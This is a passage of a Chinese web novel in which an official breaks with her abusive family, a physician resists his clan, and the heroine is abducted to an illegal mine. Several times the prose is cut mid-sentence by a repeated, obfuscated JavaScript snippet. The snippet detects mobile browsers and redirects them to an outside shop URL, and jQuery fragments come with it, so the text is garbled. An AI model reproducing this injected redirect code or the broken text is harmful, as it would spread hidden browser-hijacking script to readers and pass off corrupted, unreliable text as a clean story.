事到如今,还想用所谓的父亲威严逼迫自己为他所用。句句不离当初的官位,半个字也不提她如今的成就。真正跳出女儿的范畴,才能看出,淳于宏,就是害怕自己吧。害怕身为没用的女儿的自己会超过他,会比他还厉害,所以这些年,他不说帮忙,反而时时刻刻不忘提及当初让自己读书识字的恩惠。 可这到底哪里算恩惠了?不过就是高高在上的妄想罢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501244|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “不过是担心越来越多的女人超过你们,踩在别人头上的很好吧?你踩在女人身上习惯了,所以很难接受会被女人踩在脚下?” 淳于宏猛然一口气上不来,险些晕过去,发妻连忙拍打他的胸口和脊背,一边坐着的三个儿子也不装死人了,一叠声的询问自己亲爹的情况。三儿子甚至暴躁的抓住淳于霜的手腕,另一只手高高举起,猛然挥下! 另外两个哥哥其实看见了小弟的动作,但是他们权当没看见,眼中闪过一丝隐晦的畅快。这些年,淳于霜这个名字如同一座大山般死死压在他们头上。在礼部,每每听到他们的姓氏,总会有人表示惊诧。 “淳于?哦……你们是刑部那位厉害的淳于大人的兄长?淳于家果真家传渊源啊,你们家一共四个孩子,每个都这么出色,真是叫人羡慕……” 这种酸唧唧的话还是最轻的,那些冷嘲热讽,他们三个早就受不了了。如今看见淳于霜这般不服管教的模样,怎么还能忍得住?让她受点儿教训也好。 然而出乎意料的,淳于霜扭住老三的胳膊,狠狠朝着反方向一扭,老三发出一声惨叫,踉跄着走开,心有余悸的捧着自己酸痛不已的胳膊,不敢置信的盯着淳于霜。 “你敢对我动手?” “你都要打我耳 光,我凭什么不能动手?怎么?我平日给你的印象就这么软弱,以至于你都不敢相信我会反击?” 淳于霜随意甩了甩手,之前跟应九阙在一起的时候,应大人总会在闲暇时间教她几招。应大人并不会功夫,但对于人体的弱点出乎意料的了解,虽说她也是个手无缚鸡之力的文官,可用起来相当顺手。只是没想到,第一个实验的对象会是自己亲哥罢了。 这会儿,另外两个男人面色不善的盯着淳于霜,一个人打不过,他们三个加一起还能打不过?淳于霜就是欠收拾,那张得意的练他们实在是不想再看了! 第九十二章 莫名的恐慌 “怎么?这是想对我动手?” 淳于霜丝毫不怯。 “看清楚,我身上穿着官服,我的品级比你们都高。你们动手,那就是殴打朝廷命官,想吃官司?还是想丢官撤职?” 听到这几句话,三人又有些犹豫,他们对自己好不容易得来的官职还是很看重的,否则,也不会听说淳于霜回来就立马赶回家。只是淳于霜未免太过难以讨好,他们什么都没做,淳于霜就又喊又叫,好像他们做了什么亏心事似的。 不愧是女人,就是情绪化的厉害。 “我们本来也没打算做什么,再说,你难道就只是刑部官员,不是淳于家的女儿?!我们当哥哥的,教训教训妹妹怎么了?” “在我还穿着官服的时候,你们就不是我哥哥,别跟我扯关系!我……” “啪!” 淳于霜冷不丁被一个巴掌扇到脸上,整个人都侧歪过去,在场所有人都愣住了。 就连淳于宏都忍不住瞪大了眼。 淳于宏的发妻,那个几乎没人知道她叫什么的女人此刻惊讶的看着自己的手,似乎不敢相信自己刚刚竟然伸手打了她的女儿。看见淳于霜面无表情的站直身子,她有些慌乱的想要伸手去抓淳于霜。 “不是,我不是故意,霜儿你别生气,娘真不是故意……” “我明白。” 淳于霜打断对方的话,一张脸仿佛结满了寒冰,她从来没有用这样冰冷的眼神看过她娘,这会儿,包括淳于宏在内都慌了。他们可从来没想过要真的对淳于霜下手。尤其是,淳于霜还穿着官服呢! 淳于霜这会儿有些失望。 “我从来都知道,你一直都不会为我说话,你只会说,‘霜儿啊,谁让我们托生成女人呢?身为女人,就得温柔贤惠,就得为了相公儿女付出一辈子。你爹脾气不好,你就多担待担待,就当是为了娘成不?’” “哈,我早就该知道,能对五岁的女儿说那样话的女人又会是什么好娘?!你自己的人生过得一塌糊涂,就想让我也过得一塌糊涂不成?!我最恨的人其实不是淳于宏,我最恨的人是你啊!你为什么不能坏的彻底一点儿,如果你像他们四个这样,我就不必这么痛苦了!你就像根蛛丝,勉强挂着我的命,却总要给我活下去的希望!你还不如是个纯粹的恶人!” “娘不是,娘真不是故意的,霜儿,你就不能原谅娘一次吗?娘又不是坏人……” “我告诉你,别想着再继续劝我,我不会过跟你一样的生活,我不会变的跟你一样!我这辈子,永远永远,都不会做一个只知道相公儿女,只会被困于内宅的女人!” “别想再用那点儿可怜的母爱来操控我!我告诉你,我现在已经不稀罕了!因为我已经见过更强大的人,她不会为了爹娘的薄待而怨恨,因为她就是她!就算不被家人承认,我就是我,我还是我,你们的看法不会对我造成任何改变。” 淳于霜深吸一口气,语气渐渐平缓下来。 “从今以后我不会再来了,你们好自为之吧。” “等等,你到底什么意思?!难道你也想断亲?!” 淳于宏紧走几步追上去,问出口的时候还有些不可置信,可是见了同一说一下也没回头的模样。才不得不相信对方是真的不想跟他们家再有丝毫关系。他愤怒极了,简直不敢相信。这世上,只有为人父母的嫌弃女儿要把女儿赶出门去,还从来没见过有女儿主动和家里脱离关系!但此刻猛然想起之前闹得满城风雨的应九阙,那位不就明目张胆的跟家里断绝关系,并且主动分宗出去了吗?林炜可是礼部侍郎,正三品官员。即便如此,应九阙都没有后悔,这么多天了也没听说主动往林家求和。 然而不管他喊的多么大声,淳于霜大步走出家门,没有一次回头。眼见这个不孝女是真的不准备回来,淳于宏难免生闷气,回头看到失魂落魄的发妻,顿时气不打一处来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501245|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我说她几句也就算了,你干嘛打她?不知道她如今已经是官儿了?民打官是什么罪过你难道不知道?” 淳于氏顿了顿,后知后觉有些害怕。但是…… “相公,不是你说为人父母打女儿不犯律法吗?” “你?!愚蠢!我那是吓他几句。你真打她,万一她存心使坏,给咱们儿子公务上使绊子怎么办?她现在的官职已经快赶上我,还跟那个应九阙攀上了关系,要是在陛下面前说几句坏话,咱们一家子就永无出头之日了!” 淳于氏被吓得一愣,有些手足无措。 她也不知道自己刚刚为什么突然出手,就是莫名觉得一阵说不出来的恐慌。好像她之前所有的想法做法突然被揭露是不对的一样。这让她怎么能不恐慌?而且这孩子怎么那么不听话,身为女子难道不当以柔顺为主?而且她这个当娘的打孩子几下怎么了?这天下也没拿到律法说当娘的打孩子不对呀! 她这一辈子都温婉柔顺,说白了就是毫无主见。在家就听爹娘,嫁了人听淳于宏,现在也经常听三个儿子的人生好像也没什么不同,她实在是不明白女儿所说的跟自己不同的路到底是什么,难道出去做个官就能变得更好? 可是这女子早晚不都得出嫁?嫁的早 些还能找个如意郎君,嫁的晚了不都是那些被别人挑剩下的人?这孩子怎么就是不懂爹娘的苦心呢?难道当娘的还会害她不成?现在外面说什么的都有,这孩子就是一根筋,也不听话。总有一天,这孩子当了娘就会明白,为人父母的,所做的一切都是为了孩子好。到那个时候她才能明白为娘的这颗苦心啊。 “没事,这孩子就是嘴上硬,之前不也说过不会再回来,可不也回来了?等她慢慢醒转过来就成了。好了,咱先吃饭吧。你身子不好,得好好补补。这只鸡我炖了整整两个时辰呢!老大老二老三你们也坐下,平日里出去做官辛苦了,瞧你们,都瘦了,娘是真心疼啊……” 第九十三章 家家有本难念的经 那一家子是如何其乐融融淳于霜不知道,她只是冲出去很长一段距离之后才意识到,自己走错路了。这会儿跑到了官宦们住着的街道。抬头看了看周围的环境,淳于霜知道这是那些正三品以上的官员才能住的锦绣街。 她在此处没有朋友亲人,于是转个了弯儿,准备离开。结果就是那么巧,一抬眼就看见一个年轻男人从府门急匆匆走出,本来淳于霜也没在意,但问题就在于那个男人,不是谢明尘吗? 对于这位医术高明,为人也不叫人讨厌的太医,淳于霜还是比较尊敬的,再加上这次又要和他一起去黔州,于是就想上前打个招呼,结果紧接着就从那府中冲出来几个衣着华贵的男女,拉着谢明尘的衣袖不让他离开。 “谢明尘!咱们家是欠了你吗?为什么你放着大好前途不去,非得做什么太医啊?!你的才华明明可以轻松在官场上出头,当个名不见经传的小太医,你最少也得二十年才能出头,而且,太医院那群人讲究论资排辈你懂吗?你既没有拜他们为师,又没有同门情谊,不过就是自己看了几本医书,真当自己能做绝世名医?” “是啊尘儿,你祖父一辈子也就只是个野医,我知道你们关系好,但你不能拿自己的前途开玩笑啊,你难道不知道时光易逝?这人要出名,得趁早。你要是还这么拗着,总有一天会后悔啊!” “小弟,你就听我们一句劝吧。咱们爹娘一辈子吃的盐比咱们吃的饭还要多,听他们的话少走几步弯路不好吗?而且你当了官,我也可以照看你,谁也不会给你眼色看,这难道不好?” “而且你做了太医,官职这么小,怎么给你求娶世家小姐?难道你想娶个山野村妇不成?” …… 熙熙攘攘的,淳于霜觉得偷听别人说话不太好,因此干脆停在角落里不出声。只是想着刚刚看见的府门匾额,有些意外。 这位谢明尘太医,竟然出身晋阳谢家,当真是人不可貌相。晋阳谢家,那可是不知道绵延了多久的世家,这种世家大族,可能在朝中不是那么显眼,但世家的底蕴在那里放着,绝对不是普通人能想象的。这位谢太医有个好出身,但是志不在做官,估计是和家里闹翻了。毕竟之前也没听说他有什么了不得的出身。而且像这种医术出色的年轻太医,在太医院一般都是被压榨的底层,要不然之前陛下也不会把他弄出来和自己一行人去办案了。 谢明尘一直没怎么开口,这会儿表情不太好看,但因为天性温和,也没有大声拒绝,也没有歇斯底里,只是轻声拒绝。 “我只是回来看看你们,祖父既然身体康健,我就先回去了,我告假的时间不长,诸位,告辞。” “你等等!别拿你祖父压我们,他老人家如今就不后悔?你这么个岁数,一没娶亲,二一事无成,他早就后悔了!你现在回来,我立马去给你操办,绝对不叫你有后顾之忧!” “是啊孩子,你就听一句劝吧,也算是为了叫你祖父宽心。成不?而且你现在怎么整日跟着那个应县主瞎胡闹啊?那是个不服管教的,都被自己亲爹逐出家门了,近朱者赤,跟那样的人在一起时间长了,难免会受到些许影响。好孩子,你跟她可不一样,你可是谢家的子嗣,你可不能跟她学啊……” “……我先走了,祝各位身体康健,万事无忧。” 说完这句话,谢明尘起身挣开那些人的束缚,紧走几步穿过街道,刚好看见站在墙角处的淳于霜,两人都顿了顿,好在身后谢家人为了不让别人看笑话,没有追出来,这才给了两人喘息之机。 两人面面相觑了会儿,最终还是淳于霜打破了寂静。 “谢太医,好巧。” “……好巧。” 既然都碰见了,接下来又有很长一段时间要共事,于是两人干脆一起走出去。路上,淳于霜没有就自己听到的所有话说什么,两人很是平安无事的分开了。 就是淳于霜难免在心里感慨,看来家家都有本难念的经,谢太医看着两袖清风一身清爽没有负担的出尘模样,原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501246|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来也会有这样的烦恼啊。就是不明白,为什么家里人总喜欢将孩子改变的理由放在别人身上,难道他们不知道,如果不是孩子发自内心这样想,就不会跟相似的人一起吗? 大家好像都是这样,将理由甩到其他人身上,自己好像就会轻松许多。孩子跟着别人学坏了,总比孩子是自己教导成这样好吧? 至少这样想了之后,心理上会好受许多。 摇了摇头,将此事放在脑后,淳于霜就离开了。 与此同时,一处豪华别院内,一个穿着华贵至极的年轻男人很是大笑了一阵。 “没想到啊没想到,老三竟然就这么死了?暴毙而亡,两个皇子的身后哀荣都没有,真是……死的好啊!” 周围服侍的人瑟瑟发抖,连呼吸的声音都不由自主小了许多。有许多事情,主子可以说出来,他们这些下人可不能听啊。 “老三啊老三,你不是一向自诩深受陛下喜爱吗?这回怎么就想不到陛下会如此狠心?啧啧啧,看来你这皇子,当的也不怎么样啊……” “主子爷,小心隔墙有耳。” “怕什么?” 年轻男 人冷笑一声,不置可否。 “在我的地盘上,我说的话还能传出去?那我趁早也别想着谋求大业,赶紧洗洗睡得了。” 年轻男人对属下的担忧嗤之以鼻,不过他很快想起了什么,颇感兴趣。 “说起来,陛下悄悄召见应九阙他们,准备做什么?查出来没有?” “属下惭愧,还没查出。经过之前那事儿,陛下如今对宫里的把控越来越严密,咱们的人好些都被拔出来,损失了好多个。” “废物!这么点儿事儿都办不好。” “主子饶命,主子饶命!” 年轻男人一脚将面前的下属踹翻在地,又恶狠狠的补上几脚,直到把那属下打的口鼻喷血,这才心满意足。盯着那地上的血迹欣赏了许久,这才慢条斯理的开口。 第九十四章 出师未捷 “行了,不过是踹你几脚,又打不死人。现在赶紧给我去查!一定查出来陛下到底要做什么!要是再没有结果,你这条小命也就不用要了!” “是!属下遵命!” 那下属擦掉脸上的血迹,小心翼翼的背朝着门退了出去,从始至终脑袋都垂的低低的,也不知道是何表情。 ### 半月之后。 前往黔州的官道上,两辆青皮马车晃晃悠悠的走着,如今天气渐渐变暖,似乎是觉得热了,第一辆马车的窗布被一只白皙纤瘦的手拂开,露出一张惬意的脸。 这一路走来,天气也很争气,舒适的紧,而且越往南下越觉得温度舒适。再加上还有朋友相伴,九阙完全把这当成一趟旅游,唯一不太好的是,这马车坐起来也太颠了。她来的时候还顺便带了几本话本,可当真的坐上马车才发现,要真是能在这跟开蹦蹦车似的马车里看清书上写的什么,她早就可以百步穿杨了。 “这天气越来越好了,就是有点儿热啊……淳于,你觉得呢?” 坐在马车一边的淳于霜掀开眼皮看了眼惬意悠闲的应九阙,那叫一个羡慕。 “你还睡得着?前天夜里撞见的那黑店店家,说不定有同伙暗地里准备刺杀咱们……” “嗨!那有什么好怕的,我们仨虽然武力值不行,但有魏渊兄在,不用担心啊。” 挤眉弄眼的,淳于霜立即就反应过来应九阙这是说还有那位武功盖世的崔前辈在她们不用担心,忍不住翻了个白眼。任凭谁打尖住店那天夜里险些被剁了做成肉包子都会害怕啊!而且那天她还真吃了一个肉包子! 虽然谢明尘查验了之后再三保证那只是普通的牛肉包子,淳于霜依旧觉得恶心。一路上不知道吐了几回,现在才稍微好些。 不过…… “怎么觉得越靠近黔州,这路上就越不太平?刚出京城的时候,咱们一路平顺,这五天内,都遇见两伙强人了。” 由此可见,黔州知府对自己境内的情况把握的可不够好啊。但奇怪的是,黔州这边送往京城的折子,除了几年前朱砂矿脉崩塌,其余的一切安好,并没有提及黔州境内混乱的治安。 如果只是黔州知府一人的奏折也就罢了,可驻守这边的御史都这么认为,事情就不对劲了。 一个地方治理的好坏,从细微之处就能看出。这边层出不穷的强盗贼人,加上前几年朱砂矿坍塌,即使还没有到地方,淳于霜也觉得黔州一定是出了事。而且还是上下沆瀣一气,不敢让陛下知道的事。 正在沉吟的时候,赶车的魏渊猛然勒住马车,脸色严肃。 九阙还在那儿悠悠闲闲的补觉,马车猛的一停,直接撞在马车壁上,脑门儿都多出来一个大包。但她一声没吭,迅速拉着淳于霜伏低身子,小心翼翼的从缝隙处往外看去。 然而外面安静的很,整条官道上也就他们这两匹马车在赶路,周围连个路过的人影都没有,难道是魏渊神经太过紧张?不不不,魏渊虽然没有出过远差,可他毕竟是在陛下的金甲卫中摸爬滚打出来的,一身的本事不容小觑,哪怕武功方面比不上崔前辈,可是在其他方面也是相当出色,他的判断不可能会出错。 果然,下一刻,道路两旁的草丛中传出一阵细微的动静,紧接着数十根利箭就从草丛里射了出来。 “护好自己!” 魏渊低声吩咐了一句,挥动手中的长剑,三两下就把射出来的箭枝砍成了两半。然而,紧接着草丛两边冲出来一大群全副武装的青壮年,每个手里都拿着寒光闪闪的兵器,朝着这两辆青布马车就围攻过来。如今正是草木旺盛生长的时候,尤其官道两边儿的草丛,没人维护,疯长的厉害。也正是因此,这草丛里边儿能埋伏这么多人。 魏渊武艺了得,跳出去不过三两下就将人砍倒一大片,然而奇怪的是剩下的人不仅不知道害怕,反而红着眼睛不断往前冲,谢明尘探出脑袋仔细打量了下这些不怕生死的人,很快就得出了结论。 “他们刚吃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501247|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大量丹药,如今正是精神亢奋的时候,现在恐怕连疼都不知道!” 听到这话,魏渊心里一沉。除非必要他不想动杀手,可如今这情况也容不得他不动手。 手中长剑寒光闪过,不多时就收割了数条人命。也是这个时候应九阙的喊声传了过来。 “诸位为何要攻击我等?若是想要钱财,我等愿意舍去钱财保命!” 然而这个打家劫舍用的最多的理由竟然没被采纳!那些人跟嗑药上头似的,哪怕同伴死亡也不觉害怕。九阙吸了口气,以往遇到的那些贼人,他们都会害怕,发现自己不敌之后,要么逃跑,要么跪地求饶。可眼前这批人倒是有些难办。如果让九阙形容的话,这些人更像是传说中的傀儡,不怕伤痛,是最好的耗材。看来背后这人对这群人的生死根本就不看重,所以哪怕这群人死光了,背后之人也不会跳出来。只会弄出更多的傀儡来阻拦或者杀掉他们。 但问题就在这里,九阙很清楚他们此行是绝对保密的,所以这群突然冒出来的人到底想做什么? 更严重的是,崔前辈去哪里了? 这位前辈高人不喜欢和其他人相处, 更喜欢自由自在的生活,所以哪怕跟着九阙,平日里也不现身,只在关键时候才会出来帮个忙。甚至也不愿意跟他们乘坐同一辆马车,这一路走来,那位崔前辈都是靠自己的轻功和双脚。 这当然很自由,很厉害,可在这种时候,九阙当真迫切需要崔前辈的帮助啊! 果然,就像九阙猜测的那样,下一刻从两边的草丛和山林里冲出更多神情麻木四肢略显僵硬的人,他们手中拿着纸包,等冲过来的时候两手一洒,大片的白色粉尘被撒到空中,逐渐形成一片迷雾,哪怕几人迅速捂住口鼻,也还是难逃吸入一口的命运。 不是,这不讲武德啊!谁家洒迷药会洒这么多?! 这东西药力强劲,九阙只是不小心吸入一口,顿时觉得头昏脑胀,视线的最后,只看到淳于霜砰然倒下的画面。 第九十五章 微不可见的善意 “滴答,滴答……” 恍惚之中好像有什么冰凉的东西一滴一滴落在自己脸上。怎么回事?她不是在赶路吗?怎么会有…… 不对! 九阙猛然醒转,但他没有第一时间睁开眼睛,反而尽力让自己呼吸保持平稳,小心翼翼的听着外面的动静。她所处的环境好像十分安静,分外阴冷潮湿,她好像躺在冰冷的地面,能感觉到无尽的潮气涌入自己身体,但是她模模糊糊听到喧哗声从远处传来。 看来她是被绑走了。 突然,有脚步声由远及近,那是一串细碎的脚步,脚步的主人似乎身子虚弱,走起路来深一脚浅一脚,似乎是个不会功夫的普通人,这还是崔前辈教的。不会功夫的人走起路来比较沉重,学过功夫的脚步较为轻盈。 她闻到了一股夹杂着汗臭和腐臭的味道。 紧接着,九阙就发现自己的身体被人扶起,有冰冷坚硬的东西抵住了她的嘴。下一刻冰冷的,并不如何清澈的水缓缓落入她口中。九阙这才知道,刚刚那个冰冷坚硬的东西或许是一只碗。 就这么被扶着喝了小半碗水,扶着她的应该是个女人,因为九阙感觉到这个人的身体线条,似乎有些干瘦。而且似乎很长时间没有沐浴,身上的气味并不清新。 但总的来说,这人好像没什么恶意。 于是九阙动了动手指,缓缓睁开眼,喂她水的那个人本来就在密切注视着九阙的身体状况,毕竟这人已经被带来一天了还没清醒,或许是吸入太多那种迷药。那种迷药如果吸入的太多,会死人。 果然,下一刻,这个被抓来的女子就缓缓睁开了眼睛。其实,这个来照顾他的女人见过很多人,尤其待在这个鬼地方,见到的人就更多了,天南海北士农工商都有。但很奇怪,她从来没有在任何人脸上看到这样黑,这样纯粹的一双眼。该说是无辜澄澈还是历尽沧桑? 她照顾了九阙一整天,明明这个女子长得也不算那么好看,而且还瘦的过分,可在看到她那双眼的时候,会让人有种惊心动魄的感觉。 而九阙也在第一时间看清了刚刚帮自己的人。 那是一个几乎看不清脸的女人,长时间没有清洗,脸上脖子上都结了厚厚的垢痂,把整张脸都给堵住了。头发更是乱糟糟的,夹杂着黄土和草叶树叶片。身上穿的衣服也成了土灰色,根本看不清原本模样。 勉强只能看出一双麻木的眼。 “咳咳咳,咳咳,请问,请问你是?我这是怎么了?我在哪里?请问你有没有见到我的朋友?” 九阙嗓子有些不太舒服,不知道是不是因为之前吸进去的那些白色粉末,之前昏迷的时候还没感觉,现在却觉得嗓子眼儿火辣辣的痛。 那个沉默不语的女人淡淡的看了她一眼,从怀里掏出一个黑乎乎的小孩儿巴掌大小的东西,言简意赅。 “吃。” “啊?” 九阙愣了一下,见对方已经皱起眉头,只能手忙脚乱的接过那半个窝窝头。说实话,这还是她来到这个世界以后第一次见到这种冰冷坚硬的食物。不管是之前在庄子里还是林府,又或者去了皇宫,她的吃食不说最顶尖,也算上上等,因此九阙其实并没有觉得这里的食物和自己原先世界有何不同。直到看见面前这个黑乎乎的不知道掺杂了什么东西的粮食块儿,九阙才发现自己以前过的还是太骄奢淫逸了些。 这种东西应该叫窝窝头吧?她从远道那几个小孩儿口中知道有这东西存在,据说是用一些杂粮面夹杂着麦麸做成的。那东西据说很难下咽,而且不好消化。但九阙觉得远道所说的那种窝窝头比她现在见到的这种还要好。因为她从手上的窝头中看到了没有完全剁碎的树叶梗和沙子。 “……” 她其实不是很挑食的人,也不娇气。可在看到手中的食物时依旧忍不住怀疑,这东西真的能吃吗? 但是她躺了一整天,腹中确实有些饥饿。在对方的注视下,她小心翼翼的在这窝头上咬了一口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501248|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “!” 好硬!她差点儿崩了牙,怎么第一口就咬到石子儿了?而且粮食里面为什么会有石子儿这种不科学的东西? 小心的把那块儿石头子儿吐出来,九阙用力嚼了嚼,勉强咽了下去。要是放在以前,她肯定吃不下去这玩意儿,可现在看看周遭的环境,九阙可不是那么不识好歹的人,先吃饱再说。 勉强磨着把那块儿窝窝头吃下去,其实九阙觉得自己完全没吃饱,但是这种情况下显然也不会有人再给她第二块儿窝头。也是这个时候,那个一直默不作声盯着她的女人发出沙哑的声音。 “跟我出去。” 九阙十分听话的站起来,摇摇摆摆的跟着女人往外走去,要是这个时候他好好打量了一下,自己躺了不知多长时间的地方,原来是个简陋的山洞,地上乱七八糟的堆着许多杂物。也不知道以前放过什么东西,这会儿四面八方都传来腐臭的味道。 也是这个时候,她觉得自己身上好像也有股难闻的味道,伸手拨弄了一下,惊愕的发现自己手指竟然刮下来一层黑泥。不是,她这到底是昏迷了多长时间? “别动!” 那女人此刻发现 了九阙的动作,厉声制止,顺手从脚下抠了一把污泥,直接摁在九阙脸上脖子上,以及其他所有裸露出来的皮肤,狠狠涂了一层。 直到原本就脏兮兮的九阙黑的看不清脸,浑身上下散发出臭臭的味道,才满意的松开手。 九阙这会儿都快要窒息了,但她敏锐察觉到女人的善意,因此并没有反抗。 “别把这脏东西弄掉,如果你想活着的话。” 九阙连忙点了点头,跟个小鸡仔儿似的,跟在女人身后小心翼翼的往外走。也是这个时候,九阙发现了不对的地方,外面天光大亮,然而周围的一切太过荒芜,叮叮当当的,远处有人拿着镐头一样的东西不停挖掘,还有一部分在运送装着石头的框子。 这是一个…… 矿场? 第九十六章 黑矿场 这是给她干哪儿来了? 此刻周围那些急匆匆路过的人并没有谁有多余的力气往九阙身上多看一眼,大家只是拼命去干自己的活。九阙本来还不理解,但当视线落在那些散落在四周,手拿长鞭虎视眈眈的监工之后,九阙就明白了。 这,如此森严的坚守,这不是正规的矿场吧? 一边低着头走路,一边小心翼翼的从眼角余光看向四周。这是个洼地,但也很难确定是不是因为采挖过度形成的,因为这里挖矿的人多的离谱。只是短短几步路,九阙莫名感受到一股巨大的悲怆憎恶和痛恨。就在此时,一个扛着大石头路过的须发皆白的老者,面上皱纹遍布,身上干瘦的厉害,因为天气暖和,穿着单薄的衣服,胸膛都露在外面,干枯的像老树根一般,十足十是个老人的模样。大概是真的太累了,老者忍不住停下喘了口气,然而眼尖的监工立即就发现,一道鞭影刷的一下甩过来,狠狠地击中老者的胸膛。 九阙只听见一声惨叫,那位老者的胸膛瞬间鼓起一道二指高的鞭痕,皮肤薄的几乎要被血肉撑破!下一刻,老者凄厉的惨嚎声才响起。 “啊——监工大人对不起,我不是故意停下,我这就走,我这就走!” 那老者把后半句惨叫咽了回去,点头哈腰的,都不敢去看自己那道鞭痕,着急忙慌的扛起那石头快步走开。虽然身形有些踉跄,但好在成功离开。那监工只是阴恻恻盯着他看了眼,没有继续鞭打。 “真是贱骨头,早这么识趣不就好了?真是命贱!” 听见这话,九阙紧紧握住手掌,心里有些难受。那老者,因为要拼命扛起那块不规则的石头,肩膀处已经渗血,也不知被磨成什么样子…… “别多管闲事。” 前面那看不清年纪的女人回神瞪了应九阙一眼,扯着她一路穿过忙碌紧张的人群,一下也没停。而此刻,一股食物的味道传来,九阙有些明白自己这是到了哪里。果然,又走了几步,一处露天灶房出现在眼前,里面已经有几个妇人在忙碌。 那几个妇人也是脏兮兮的模样,九阙亲眼看见一个手背上都是污泥的女人伸出手搅拌木盆里的杂粮棉絮,那面絮也是灰黑色的,实在不知道原本颜色就是这样,还是因为加了其他什么东西。 而看到九阙,那些忙碌中的妇人还抽空看了她一眼。 “王馍,这就是他们弄回来的孩子?哟,看这干瘦的,这是来之前过得就不好?” 九阙僵硬的扯出一个难看的笑来。 “我,我之前确实过得不太好……” 她之前在庄子上过得确实不太好。 “我爹在我娘刚死的时候续娶了别的女人,不太喜欢我……” 不过林炜现在已经被她踢出去了。 “我大伯前些日子看我不顺眼,把我踢出家门儿……” 她说的也没错,毕竟是被老皇帝一纸密令给踢出京的。 三言两语之间把自己塑造成了一个爹不疼娘不爱,倒霉透顶的小可怜儿。那些原本对她还不怎么在意的女人们这会儿手中的动作不由自主的停下,看着她的眼神也带了些许怜惜。虽说到了这个鬼地方这辈子是出不去了,可是在面对比自己还弱的弱小者时,但凡是个人,心里总会有那么一两丝同情之意,再加上这群女人们本来也不坏。她们也是一群可怜人罢了。 因此这会儿左右看了看,监工的没在旁边,几个女人停下手中的活计,从各个想象不到的地方拿出珍藏着的食物。或者是一块儿指头大小的馍馍,又或者是指头肚大小的咸肉。因为这些监工盯的实在太紧,女人们能够藏起来的食物实在太少,就算这七八个女人一起围上来,也只不过给了九阙可怜巴巴的一捧食物。 但是九阙一点都不嫌弃,只不过她虽然腹中饥饿,嗡鸣声不止,还是没有接受这些。毕竟,这些姐姐们的脸色也不好看,说不定平日里也是忍饥挨饿,好不容易从嘴里省下来这点儿粮食,她不能把人家的食物抢走。 “谢谢各位姐姐们的厚爱,但这是大家好不容易省 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501249|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来的食物,无功不受禄,我什么都没做,怎么能拿姐姐们的食物呢?” “什么,什么禄?” 这几位姐姐没有听懂九阙文邹邹的话,有些压抑,同时又有些好奇的盯着九阙。 “你读过书?说话咋跟我们这么不一样?” “我也觉得这像是个读过书的女娃娃。嘿,这年头,哪怕是个男娃子,也很少有读书的。没想到你一个女娃娃竟然读书这么厉害,不错啊!” 这下姐姐们的笑容更加真心了。 